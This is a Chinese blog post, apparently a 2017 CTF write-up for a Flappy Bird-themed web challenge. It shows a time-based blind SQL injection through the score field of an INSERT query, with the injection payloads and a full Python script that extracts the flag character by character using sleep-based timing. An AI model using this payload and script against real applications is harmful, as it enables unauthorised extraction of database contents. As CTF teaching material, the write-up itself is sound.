Sky's blog

MCTF-flappybird题解

字数统计: 680阅读时长: 3 min
2017/11/12 Share

前记

题目出的不好,有脑洞……
虽然叫diffcult,脑洞过了就很简单

题目分析

题目链接
http://116.196.124.92:32774/
进去后是一个注册和一个登陆
我在这里测试了大概20分钟,发现应该不是二次注入
然后转战里面的bird
在Bird.js看到这个

1
2
3
4
5
6
7
8
function Update(SomeThing){
var form = new FormData();
form.append("score",SomeThing);
form.append("check_code",md5(SomeThing));
var req = new XMLHttpRequest();
req.open("post", "", true);
req.send(form);
}

判断应该这个游戏是ajax请求,每次挂了之后发一次请求
抓了包看了一下
应该是发了一个score和一个check_code
check_code是score的md5
然后我自己随便修改了几次,发现只会取最大的score
然后存入数据库
这里可以推断出有一个insert
然后我又把分数调的巨大,例如score=1111111111111111111111111
发现score是有上限的,于是乎确定了我的想法,这个score一定是存在数据库里的
那么会不会是score的注入呢?
但是这里我猜测score用了intval(),可是竟然能瞎几把用insert构造注入成功,我就很纳闷???什么题目
这是我觉得这个题目不太严谨的地方。
我猜测这个后台的insert是这样写的

1
insert into score(user,score) VALUES('{$user}','{$score}');

所以我这里用了构造:

1
score = 1' and if(ascii(substr((select database()),1,1))=1,sleep(3),1))#

拼接后变成

1
insert into score(user,score) VALUES('{$user}','1' and if(ascii(substr((select database()),1,1))=1,sleep(3),1))#');


1
insert into score(user,score) VALUES('{$user}','1' and if(ascii(substr((select database()),1,1))=1,sleep(3),1));

果然sleep成功了
但是这里要注意,每次score要比上次大才能成功,然后就是简单的构造脚本了

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import hashlib
cookie = {
"PHPSESSID":"m2vufj07kddc0gpf5nrnm06p80"
}
url = "http://116.196.124.92:32774/game.php"
payload = "%s' and if(ascii(substr((select flag from flag),%s,1))=%s,sleep(3),1))#"
u = 435322
flag = ""
for i in range(0,33):
for j in range(33,127):
payload1 = payload%(u,i,j)
payload1_md5 = hashlib.md5(payload1).hexdigest()
data = {
"score":payload1,
"check_code":payload1_md5
}
u = u+1
try:
r = requests.post(url=url,data=data,timeout=2.5,cookies=cookie)
except:
flag+=chr(j)
print flag
print u
break
print i

后记

还是得吐槽一下,这种题目逻辑感不太严谨,没什么意思,纯粹是瞎推出来的
另外还有/.git/泄露?
结果我下下来竟然是一堆hello world+没用的信息,我怀疑是不是配置错信息了?
题目如果给源码的话应该会比较好吧……
总而言之,这题放在diff不太好,放在一般的sql注入题,再给出源码应该比较稳妥。

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前记
  2. 2. 题目分析
  3. 3. 脚本
  4. 4. 后记